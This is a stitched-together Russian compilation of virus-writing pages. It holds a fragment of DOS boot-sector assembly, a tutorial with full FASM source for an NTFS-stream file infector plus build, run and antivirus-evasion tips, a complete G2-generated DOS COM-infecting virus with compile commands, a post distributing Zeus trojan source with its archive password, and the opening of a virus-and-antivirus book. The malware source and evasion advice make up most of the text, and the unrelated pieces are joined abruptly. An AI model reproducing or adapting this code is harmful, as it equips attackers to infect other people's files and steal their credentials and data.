MOV B[0A],0 ;Masm Mod. Needed

PUSHF

POP AX

OR AX,0100

PUSH AX

POPF

MOV AX,0201

MOV BX,09A4

MOV CX,1

MOV DX,080

PUSH DS

POP ES

PUSHF

CALL D[09A0] ;Masm Mod. Needed

PUSHF

POP AX

AND AX,0FEFF

PUSH AX

POPF

PUSHF

MOV AX,02501

MOV DX,SI

MOV DS,DI

INT 021

POPF

JAE 0450 ;Masm Mod. Needed

JMP RET ;Masm Mod. Needed

PUSH ES

POP DS

CMP W[BX+02E],0FE02

JNE 045C ;Masm Mod. Needed

JMP RET ;Masm Mod. Needed

ADD BX,01BE

MOV CX,4

MOV AL,B[BX+4]

CMP AL,4

JE 0479 ;Masm Mod. Needed

CMP AL,6

JE 0479 ;Masm Mod. Needed

CMP AL,1

JE 0479 ;Masm Mod. Needed

ADD BX,010

LOOP 0463 ;Masm Mod. Needed

JMP SHORT RET ;Masm Mod. Needed

MOV DL,080

MOV DH,B[BX+5]

MOV W[0228],DX ;Masm Mod. Needed

MOV AX,W[BX+6]

MOV CX,AX

MOV SI,6

AND AX,03F

CMP AX,SI

JBE RET ;Masm Mod. Needed

SUB CX,SI

MOV DI,BX

INC CX

MOV W[0226],CX ;Masm Mod. Needed

MOV AX,0301

MOV BX,09A4

PUSHF

CALL D[09A0] ;Masm Mod. Need

Как написать вирус для windows

Конструирование вирусов — отличный стимул изучать ассемблер. И хотя вирус, в принципе, можно написать и на С, это будет как-то не по-хакерски и вообще неправильно. Следующий далее текст — заметка Криса Касперски, которая раньше не публиковалась. Из нее ты узнаешь, как создаются вирусы и как написать простой вирус для Windows при помощи FASM.

 

 

C чего начать писать вирус для windows?

Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream. Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4, вводим с клавиатуры имя файла и потока данных, например xxx:yyy, и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx.

Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу <F4> и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy.

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

 

Алгоритм работы вируса

Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.

Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.

В качестве примера архиватора, поддерживающего файловые потоки, можно привести WinRAR. Вкладка «Дополнительно» в диалоговом окне «Имя и параметры архива» содержит группу опций NTFS. В составе этой группы опций есть флажок «Сохранять файловые потоки». Установи эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx.

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.

Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.

 

Программный код вируса для windows

Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком эти языки неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера. Вот исходный код нашего вируса.

include 'c:\fasm\INCLUDE\WIN32AX.INC'
.data
    foo db "foo",0        ; Имя временного файла
    code_name db ":bar",0 ; Имя потока, в котором будет...
    code_name_end:        ; ...сохранено основное тело

    ; Различные текстовые строки, которые выводит вирус
    aInfected db "infected",0
    aHello db "Hello, you are hacked"

    ; Различные буфера для служебных целей
    buf rb 1000
    xxx rb 1000
.code

start:
    ; Удаляем временный файл
    push foo
    call [DeleteFile]

    ; Определяем наше имя
    push 1000
    push buf
    push 0
    call [GetModuleFileName]

    ; Считываем командную строку
    ; Ключ filename — заразить
    call [GetCommandLine]
    mov ebp, eax
    xor ebx, ebx
    mov ecx, 202A2D2Dh ;

rool:
    cmp [eax], ecx ; это '--*'?
    jz infect
    inc eax
    cmp [eax], ebx ; Конец командной строки?
    jnz rool

    ; Выводим диагностическое сообщение,
    ; подтверждая свое присутствие в файле
    push 0
    push aInfected
    push aHello
    push 0
    call [MessageBox]

    ; Добавляем к своему имени имя потока NTFS
    mov esi, code_name
    mov edi, buf
    mov ecx, 100; сode_name_end - code_name
    xor eax,eax
    repne scasb
    dec edi
    rep movsb

    ; Запускаем поток NTFS на выполнение
    push xxx
    push xxx
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push ebp
    push buf
    call [CreateProcess]
    jmp go2exit ; Выходим из вируса

infect:
    ; Устанавливаем eax на первый символ имени файла-жертвы
    ; (далее по тексту dst)
    add eax, 4
    xchg eax, ebp
    xor eax,eax
    inc eax

    ; Здесь можно вставить проверку dst на заражение
    ; Переименовываем dst в foo
    push foo
    push ebp
    call [MoveFile]

    ; Копируем в foo основной поток dst
    push eax
    push ebp
    push buf
    call [CopyFile]

    ; Добавляем к своему имени имя потока NTFS
    mov esi, ebp
    mov edi, buf

copy_rool:
    lodsb
    stosb
    test al,al
    jnz copy_rool
    mov esi, code_name
    dec edi

copy_rool2:
    lodsb
    stosb
    test al,al
    jnz copy_rool2

    ; Копируем foo в dst:bar
    push eax
    push buf
    push foo
    call [CopyFile]

    ; Здесь не помешает добавить коррекцию длины заражаемого файла
    ; Удаляем foo
    push foo
    call [DeleteFile]

    ; Выводим диагностическое сообщение,
    ; подтверждающее успешность заражения файла
    push 0
    push aInfected
    push ebp
    push 0
    call [MessageBox]

    ; Выход из вируса

go2exit:
    push 0
    call [ExitProcess]
.end start

 

Компиляция и тестирование вируса для windows

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте flatassembler.net. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачай последнюю версию FASM для Windows, распакуй архив и запусти приложение fasmw.exe. Скопируй исходный код вируса в окошко программы и выполни команды Run → Compile, а затем укажи, в какую папку сохранить скомпилированный исполняемый файл.

Запустим его на выполнение с опцией командной строки --*, вписав после нее имя файла, который требуется заразить, например notepad.exe (xcode.exe --* notepad.exe). Появление диалогового окна, показанного на рисунке, говорит, что вирус внедрен в исполняемый файл блокнота.

Диалоговое окно, свидетельствующее об успешном заражении

Если попытка заражения потерпела неудачу, первым делом необходимо убедиться, что права доступа к файлу есть. Захватывать их самостоятельно наш вирус не умеет. Во всяком случае — пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.

Теперь запусти зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно, показанное на рисунке, а после нажатия на кнопку ОK передает управление оригинальному коду программы.

Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение

Чтобы фокус сработал в Windows 10, вирус должен быть запущен от имени администратора.

Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной начинкой. Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду notepad.exe --* sol.exe. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение.

До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и совершал вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.

Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию CreateFile, передать ей имя файла вместе с потоком (например, notepad.exe:bar) и проверить результат. Если файл открыть не удалось, значит, потока bar этот файл не содержит и, следовательно, он еще не заражен. Если же файл удалось успешно открыть, стоит отказаться от заражения или выбрать другой поток. Например: bar_01, bar_02, bar_03.

Еще одна проблема заключается в том, что вирус не корректирует длину целевого файла и после внедрения она станет равной 4 Кбайт (именно таков размер текущей версии исполняемого файла вируса). Это плохо, так как пользователь тут же заподозрит подвох (файл explorer.exe, занимающий 4 Кбайт, выглядит довольно забавно), занервничает и начнет запускать антивирусы. Чтобы устранить этот недостаток, можно запомнить длину инфицируемого файла перед внедрением, затем скопировать в основной поток тело вируса, открыть файл на запись и вызвать функцию SetFilePointer для установки указателя на оригинальный размер, увеличивая размер инфицированного файла до исходного значения.

Заключение

Предложенная стратегия внедрения, конечно, неидеальна, но все же это намного лучше, чем прописываться в реестре, который контролируется множеством утилит мониторинга. Наконец, чтобы не пострадать от своего же собственного вируса, каждый вирусописатель всегда должен иметь под рукой противоядие. Командный файл, приведенный в следующем листинге, извлекает оригинальное содержимое файла из потока bar и записывает его в файл reborn.exe.

more < %1:bar > reborn.exe
ECHO I’m reborn now!

Используй полученные знания с осторожностью, изучай ассемблер, не забывай мыть руки перед едой и всегда помни о том, что создание вирусов в каких-либо иных целях, кроме исследовательских, не только очень веселое, но еще и противозаконное занятие. А закон, как любил говорить один литературный персонаж, надо чтить!

Click to rate this post!

[Total: 1 Average: 5]

Путеводитель по написанию вирусов: 1. Первые шаги — вирусы времени выполнения

  •  

  • ;—[ РЕЗАТЬ ЗДЕСЬ ]———————————————————

  • ; Очень простой вирус. Hе компилировать. Hе распространять.

  • ; Если вы сделаете копию этого вируса… Вы будете ламером!

  • ; Hо я надеюсь, что он поможет вам стать из начинающего VXера продвинутым ;).

  • ; И тогда потом вы отблагодарите меня 🙂

  •  

  • ; Компилируйте с помощью: TASM /m3 lame.asm

  • ; Линкуйте:               TLINK /t lame.obj

  •  

  • ; Вирус сгенерирован G2 0.70c (Смотрите, я не удалил сигнатуры. Это не мое!

  • ; Самая ламерская вещь, которую вы можете сделать — это удалить сигнатуры.

  • ; Hе забудьте об этом!)

  • ; G2 написан Dark Angel из Phalcon/Skism

  •  

  • ; File: LAME.ASM

  •  

  •         .model  tiny

  •         .code

  •  

  •         org     0100h

  •  

  • carrier:

  •         db      0E9h,0,0                ; jmp start

  •  

  • start:

  •         mov     bр, sр         ; Противоотладочное получение дельта-смещения!

  •         int     0003h          ; Int для брикпоинтов

  • next:

  •         mov     bp, ss:[bp-6]

  •         sub     bp, offset next

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Давайте посмотрим. Когда мы заражаем файл, все смещения изменяются на

  • ; размер тела жертвы, поэтому мы выбираем регистр (обычно BP или SI), куда

  • ; мы помещаем размер файла, и каждый раз, когда мы используем переменную или

  • ; что-то в этом pоде, мы должны добавить pегистp, используемый как

  • ; дельта-смещение (здесь BP).

  • ;—————————————————————————-

  •  

  •         mov     dl, 0000h               ; Диск по умолчанию

  •         mov     ah, 0047h               ; Получаем директорию

  •         lea     si, [bp+offset origdir+1]

  •         int     0021h

  •  

  •         lea     dx, [bp+offset newDTA]

  •         mov     ah, 001Ah               ; устанавливаем DTA

  •         int     0021h

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Первый блок сохраняет текущую директорию в переменной для последующего

  • ; возвращения. Посмотрите в то место данного пособия, где находится описание

  • ; структуры DTA. DTA (Disk Transfer Address) начинается в байте 80h PSP

  • ; (Program Segment Prefix), где также находится командная строка. И вам,

  • ; наверное, интересно… Что случится, если мы используем DTA с командной

  • ; строкой? Это одна из причин сохранения DTA (кроме того, что мы используем

  • ; его в своих целях, pазумеется) 😉

  • ;—————————————————————————-

  •  

  • restore_COM:

  •         mov     di, 0100h

  •         push    di

  •         lea     si, [bp+offset old3]

  •         movsb                           ; Двигаем первый байт

  •         movsw                           ; Двигаем следующие два

  •  

  •         mov     byte ptr [bp+numinfect], 0000h

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Эта процедура восстанавливает 3 оригинальных первых байтов зараженного

  • ; com-файла, находящихся выше смещения 100h, а также сохраняющих эти смещения

  • ; в DI для последующего использования. Последняя строка устанавливает

  • ; счетчик количества заражений в 0.

  • ;—————————————————————————-

  •  

  • traverse_loop:

  •         lea     dx, [bp+offset COMmask]

  •         call    infect

  •         cmp     [bp+numinfect], 0003h

  •         jae     exit_traverse           ; выходим, если заражен достаточное

  •                                         ; количество файлов

  •  

  •         mov     ah, 003Bh               ; CHDIR

  •         lea     dx, [bр+offset dot_dot] ; переходим к следующей директории

  •         int     0021h

  •         jnc     traverse_loop           ; цикл, если нет ошибки

  •  

  • exit_traverse:

  •  

  •         lea     si, [bp+offset origdir]

  •         mov     byte ptr [si], ‘\’

  •         mov     ah, 003Bh               ; восстанавливаем директорию

  •         xchg    dx, si

  •         int     0021h

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Все, что мы делаем здесь, это заражение всех файлов в текущей директории,

  • ; после чего мы меняем директорию на ..

  • ; А когда больше доступных директорий нет, мы восстанавливаем текущую.

  • ;—————————————————————————-

  •  

  •         mov     dx, 0080h               ; в PSP

  •         mov     ah, 001Ah               ; восстанавливаем DTA по умолчанию

  •         int     0021h

  •  

  • return:

  •         ret

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Здесь мы восстанавливаем оригинальный адрес полученнго DTA по смещению 80h

  • ; в PSP, а затем возвращаемся к исходному смещению 100h, чтобы выполнить

  • ; файл обычным образом 😉 (Помните, что мы зарushили di, когда он был равен

  • ; 100h)

  • ;—————————————————————————-

  •  

  • old3            db      0cdh,20h,0

  •  

  • infect:

  •         mov     ah, 004Eh               ; находим первый

  •         mov     cx, 0007h               ; все файлы

  • findfirstnext:

  •         int     0021h

  •         jc      return

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Здесь мы ищем в текущей директории файлы, соответствующие шаблону,

  • ; заданному в DX (в данном примере &quot;*.COM&quot;), с любым видом атрибутов.

  • ; Old3 — это переменная, которая обрабатывает первые три байта выполняющегося

  • ; зараженного COM’а. Если не был найден никакой файл, возвращается флаг

  • ; переноса, а затем мы переходим к процедуре, которая возвращает контрол

  • ; нашей основной программе. Если мы находим по крайней мере один подходящий

  • ; файл, мы переходим к следующему коду, а закончив работу с файлом, мы ищем

  • ; другой.

  • ;—————————————————————————-

  •  

  •         cmp     word ptr [bp+newDTA+35], ‘DN’ ; Check if COMMAND.COM

  •         mov     ah, 004Fh               ; Set up find next

  •         jz      findfirstnext           ; Exit if so

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Для того, чтобы не заразить command.com, проверяем, есть ли в позиции

  • ; name+5 (DTA+35) слово DN (ND, но слова сохраняются в обратном порядке!)

  • ;—————————————————————————-

  •  

  •         lea     dx, [bp+newDTA+30]

  •         mov     ax, 4300h

  •         int     0021h

  •         jc      return

  •         push    cx

  •         push    dx

  •  

  •         mov     ax, 4301h          ; очищаем атрибуты файла

  •         рush    ax                 ; сохраняем для последующего использования

  •         xor     cx, cx

  •         int     0021h

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; У первого блока есть двойная функция: сохранение атрибутов файла для

  • ; последующего восстановления, а также проверяем, существует ли файл или

  • ; здесь есть какие-то проблемы. Второй сохраняет в стеке 4301h (функция для

  • ; установления атрибутов), а также очищает файл от нежелательных атрибутов,

  • ; таких как read-only :).

  • ;—————————————————————————-

  •  

  •         lea     dx, [bp+newDTA+30]

  •         mov     ax, 3D02h               ; открываем R/O

  •         int     0021h

  •         xchg    ax, bx                  ; хэндл в BX

  •  

  •         mov     ax, 5700h               ; получаем время/дату создания файла

  •         int     0021h

  •         push    cx

  •         push    dx

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Первый блок открывает файл в режиме чтения/записи, а затем помещает хэндл

  • ; файла в BX, где он будет более полезен.

  • ; Второй блок инструкций получает время и дату создания файла, а затем

  • ; сохраняет их в стеке.

  • ;—————————————————————————-

  •  

  •         mov     ah, 003Fh

  •         mov     cx, 001Ah

  •         lea     dx, [bp+offset readbuffer]

  •         int     0021h

  •  

  •         xor     cx, cx

  •         xor     dx, dx

  •         mov     ax, 4202h

  •         int     0021h

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Первый блок считывает 1Ah байтов (26) в переменную readbuffer, чтобы

  • ; провести последующие сравнения. Второй блок перемещает указатель на конец

  • ; файла по двум причинам: размер файла будет помещен в AX, и это потребуется

  • ; нам для последующего добавления

  • ;—————————————————————————-

  •  

  •         cmp     word ptr [bp+offset readbuffer], &quot;ZM&quot;

  •         jz      jmp_close

  •  

  •         mov     cx, word ptr [bp+offset readbuffer+1] ; местонахождение jmp

  •         add     cx, heaр-start+3        ; конвертируем в размер файла

  •         cmр     ax, cx                  ; равны, если файл уже заражен

  •         jl      skipp

  • jmp_close:

  •         jmp     close

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Первый блок сравнивает два первых байта открытого COM-файла, чтобы увидеть,

  • ; является ли он переименованным EXE (помните, что слова храняться в

  • ; перевернутом порядке). Второй блок проверяет предыдущее заражение,

  • ; сравнивая размер вируса + размер жертвы (до того, как она была заражена) с

  • ; текущим размером последней.

  • ;—————————————————————————-

  •  

  • skipp:

  •  

  •         cmр     ax, 65535-(endheaр-start) ; проверяем, не слишком ли он велик

  •         ja      jmp_close                 ; выходим, если так

  •  

  •         lea     di, [bp+offset old3]

  •         lea     si, [bp+offset readbuffer]

  •         movsb

  •         movsw

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Первый блок инструкций проверяет размер COM, чтобы убедиться в возможности

  • ; его заражения (размер файла + размер вируса не должен быть больше 0FFFFh

  • ; (65535), потому что в противном случает PSP и/или стек повредят код.

  • ; Второй блок перемещает значение переменной old3 (3 байта) в readbuffer.

  • ;—————————————————————————-

  •  

  •         sub     ax, 0003h               ; Virus_size-3 (размер перехода)

  •         mov     word ptr [bp+offset readbuffer+1], ax

  •         mov     dl, 00E9h               ; опкод jmp

  •         mov     byte ptr [bp+offset readbuffer], dl

  •  

  •         lea     dx, [bp+offset start]   ; начало того, что добавляем

  •         mov     cx, heap-start          ; pазмеp добавления

  •         mov     ah, 0040h               ; добавляем вирус

  •         int     0021h

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Первый блок высчитывает переход на код вируса, а затем сохраняет результат

  • ; в переменной. Второй блок добавляет вирус к телу жертвы :).

  • ;—————————————————————————-

  •  

  •         mov     ax, 4200h

  •         xor     dx, dx

  •         xor     cx, cx

  •         int     0021h

  •  

  •  

  •         mov     cx, 0003h

  •         lea     dx, [bp+offset readbuffer]

  •         mov     ah, 0040h

  •         int     0021h

  •  

  •         inc     [bp+numinfect]

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Первый блок перемещает файловый указателя на начало файла, а второй

  • ; записывает туда переход на код вируса.

  • ; Третий увеличивает значение переменной, которая содержит количество

  • ; сделанных заражений.

  • ;—————————————————————————-

  •  

  • close:

  •         mov     ax, 5701h         ; восстанавливаем время/дату создания файла

  •         pop     dx

  •         pop     cx

  •         int     0021h

  •  

  •         mov     ah, 003Eh

  •         int     0021h

  •  

  •         рoр     ax                ; восстанавливаем атрибуты файла

  •         pop     dx                ; получаем имя файла и

  •         рoр     cx                ; атрибуты из стека

  •         int     0021h

  •  

  •         mov     ah, 004Fh         ; находим следующий файл

  •         jmp     findfirstnext

  •  

  • ;—————————————————————————-

  • ; Объяснение:

  • ; Первый блок инструкция восстанавливает время и дату создания файла, которые

  • ; были сохранены в DTA. А второй закрывает файл, в то время как третий

  • ; восстанавливает старые атрибуты зараженного файла.

  • ; Последний блок помещает в AX досовскую функцию FindNext, после чего

  • ; переходит к дальнейшему поиску файлов для заражения.

  • ;—————————————————————————-

  •  

  • signature       db      &quot;[PS/Gэ]&quot;,0     ; Phalcon/Skism G2 ( old!! )

  • COMmask         db      &quot;*.COM&quot;,0       ; должен быть ASCIIZ (Ascii-строка,0)

  • dot_dot         db      &quot;..&quot;,0          ; новая директория

  •  

  • heaр:                                   ; эти данные отправляются в кучу

  • newDTA          db      43 dup (?)      ; pазмеp DTA, 2Bh

  • origdir         db      65 duр (?)      ; где сохранять старую директорию

  • numinfect       db      ?               ; обрабатывает количество заражений

  • readbuffer      db      1ah dup (?)     ; буфеp

  • endheap:

  • end     carrier

  • ;—[ CUT HERE ]————————————————————-

  •  

  • Исходник вируса Zeus 2.0.8.9 | Ру-Сфера: Исследование защиты и обсуждение IT-безопасности

    Троянские программы семейства ZBot (ZeuS) появились в 2007 году. Благодаря простоте конфигурации и удобству использования для кражи веб-данных, ZeuS стал одной из самых распространяемых и продаваемых программ-шпионов на черном рынке интернета.

    Работа трояна в системе жертвы:

    Все, что запоминается на компьютере, становится доступным и для трояна, будь то логины, пароли или какие-то другие данные, например, для автозаполнения полей на веб-страничках;

    Троян следит за нажатием вами клавиши, и введенной последовательностью символов, которая дает допуск к вашим деньгам;

    Чтобы избежать «подсматривания» вводимых с клавиатуры данных, на сайтах зачастую используется такой инструмент, как виртуальная клавиатура. При вводе пароля вы щелкаете левой кнопкой мыши по клавишам клавиатуры, которая отображается на экране монитора. В этом случае ZeuS включает другой механизм перехвата данных пользователя: как только вы нажимаете левую кнопку мыши, ZeuS запоминает картинку — область экрана вокруг курсора. Так что злоумышленник будет знать, какие клавиши вы выбирали на экране мышкой;

    ZeuS контролирует все данные, проходящие через ваш браузер. Если вы попытаетесь открыть веб-страницу, адрес которой присутствует в файле конфигурации ZeuS, троян может изменить скачанный код страницы до того, как вы увидите ее в окне браузера. Изменение представляет собой добавление новых полей для ввода личных и секретных данных. Ну попросил у вас банк (а вы же уверены, что находитесь на сайте банка), кроме пользовательского пароля, ввести еще и ваш пин-код для карты. Но это уловка мошенника! Запрос пин-кода добавил ZeuS, а в изначальном коде странички банка такого запроса не было! Введенный пин-код троянец перехватывает и отправляет своему хозяину;

    Некоторые сайты, когда вы регистрируетесь на них, создают на вашем компьютере специальные цифровые подписи, достоверность которых проверяется при последующих посещениях. Такие подписи называются сертификатами. Если ваш браузер не предоставит сайту соответствующего сертификата, сайт не даст вам полноценного доступа. На зараженном компьютере ZeuS находит такие сертификаты безопасности, крадет их и пересылает злоумышленнику;

    Если злоумышленнику понадобится ваш компьютер как инструмент для совершения противозаконных действий (например, для рассылки спама), то ZeuS предоставит своему хозяину возможность установить на зараженной машине все необходимое для этого программное обеспечение.

    В случае заражения вашего компьютера троянцем ZeuS, преступник вас либо ограбит, либо, если взять у вас нечего — у него будет возможность использовать ваш компьютер в своих преступных целях.
    Зараженные компьютеры, связанные с одним «хозяином», составляют так называемую зомби-сеть. Злоумышленник управляет попавшимися в его сети компьютерами, что пользователи могут даже не догадываться об этом. В то время, когда с их компьютеров рассылается спам или злоумышленник использует их выход в интернет для скрытия своей точки доступа во всемирную паутину. Месяцами жертвы могут пребывать в блаженном неведении, что их компьютеры участвуют в преступных махинациях.

    С момента появления первой версии ZeuS и по настоящее время зафиксировано более сорока тысяч разновидностей этой троянской программы. ZeuS регулярно меняет свой вид. Например, уже находясь в зараженной системе, он обновляется с меняющихся интернет-адресов. Поэтому для пользователей, на компьютеры которых загрузились новые версии троянца, толку от «противоядия» для предыдущих версий будет немного. Один из вариантов борьбы — как можно быстрее реагировать на обновления ZeuS. Оперативность в данном случае имеет очень большое значение.
    А по количеству различных вариаций, по количеству адресов, куда стекаются данные для злоумышленника и откуда отправляются команды на зомби-компьютеры (такие адреса называются центрами управления), ZeuS занимает одну из лидирующих позиций среди незаконного ПО.

    Язык и IDE программирования (Исходника):
    Visual C++ (текущая версия 9.0). Не используются дополнительные библиотеки (crtl, mfc, и т.д.).

    В архиве есть подробная инструкция по использованию, читаем manual_ru.html.

    Пароль:111

    Пишем вирус и антивирус


     

    Небольшое вступление

    Текст далее приводим исключительно в образовательных целях. Для того, чтобы иметь возможность написать антивирус, необходимо знать механику работы вируса.

     

     

    Пишем вирус… и антивирус для IBM-совместимых компьютеров. Петр Хижняк

    Содержание
    • Введение
    • Глава 1. Вирус и антивирус.
    • Глава 2. Пишем вирус
      • 2.1 С чего начать?
      • 2.2 Передача управления вирусу
      • 2.3 Восстановление программы-носителя
      • 2.4 Сохранение DTA
      • 2.5 Область данных вируса
      • 2.6 Поиск жертвы
      • 2.7 Жертва найдена?
      • 2.8 Вирус размножается
      • 2.9 Обработка ошибок
      • 2.10 Текст программы VIRUS775.ASM
    • Глава 3. Пишем антивирус
      • 3.1 Как искать сигнатуру вируса
      • 3.2 Листинг программы VIRUS775.ASM
      • 3.3 Подбираем сигнатуру
      • 3.4 Что должен делать антивирус
      • 3.5 Область данных антивируса
      • 3.6 Антивирус начинает работу
      • 3.7 Читаем командную строку
      • 3.8 Заказываем память
      • 3.9 Ищем зараженные файлы
      • 3.10 Длинные и короткие файлы
      • 3.11 Ищем сигнатуру вируса
      • 3.12 Лечим зараженный файл
      • 3.13 Записываем вылеченный файл
      • 3.14 Антивирус "умывает руки"
      • 3.15 Текст программы ANTI775.ASM
    • Глава 4. Кто выиграет войну?
      • 4.1 Создаем исполняемые программы
      • 4.2 Заражаем COMMAND.COM
      • 4.3 Проверяем работу антивируса
      • 4.4 Вместо послесловия
    • Аннотация литературы по компьютерным вирусам

    Введение Компьютерные вирусы, едва появившись на свет, повергли в смятение компьютерную общественность, которая привыкла полагаться на компьютеры как на верных и, главное, надежных помощников в своей работе. И вдруг - как молнии - в печати под громкими заголовками замелькали сообщения об эпидемии, вызванной компьютерными вирусами. Компьютеры как бы вырвались из-под власти человека: программиста, оператора, пользователя - и их поведение, до этого совершенно спокойное и пристойное, перестало быть предсказуемым. Более того, компьютеры стали опасными. Нет, не для человека - для программ и данных, которыми он пользуется. Однако, если небольшая ошибка в программе, управляющей, например, ядерным реактором, может привести к его аварии (и это уже случалось!), то каких бед может натворить компьютер, "заболевший" вирусом и в больном угаре, скажем, запустивший ракету с атомной боеголовкой? Возможны и менее опасные действия компьютера: неверная обработка важных финансовых документов, порча бесценной научной или медицинской информации... Да мало ли что еще может натворить компьютер, которому человек доверил управлять теми или иными важными процессами в производстве и в жизни. Осознав все это и почувствовав на себе коварство невидимых врагов, человек сразу встал на борьбу с ними. Откуда же взялись компьютерные вирусы, что это такое и как с ними бороться? Понимая, что большинство читателей этой книги прекрасно знает ответ, по крайней мере, на первый из этих вопросов, мы опустим его подробное освещение и перейдем сразу ко второму, а затем и к третьему. Итак, больное самолюбие в одних случаях, желание выделиться в других и жажда мести в третьих - породили вандалов в чинной среде программистов. Их изобретательность не знает границ. Современные компютерные вирусы - это программы, которые не только размножаются и живут самостоятельной жизнью, но которые обманывают, скрываются, убивают другие программы! Полный набор терминов из криминальной хроники. Поэтому и методы борьбы с компьютерными вирусами тоже напоминают методы Шерлока Холмса. Слежка, ловля "на живца", обыски, производимые антивирусными программами в памяти компыютера и на диске - чем не детективный роман? Однако борьба с вирусами - дело не столько захватывающее, сколько сложное, требующее особою внимания, 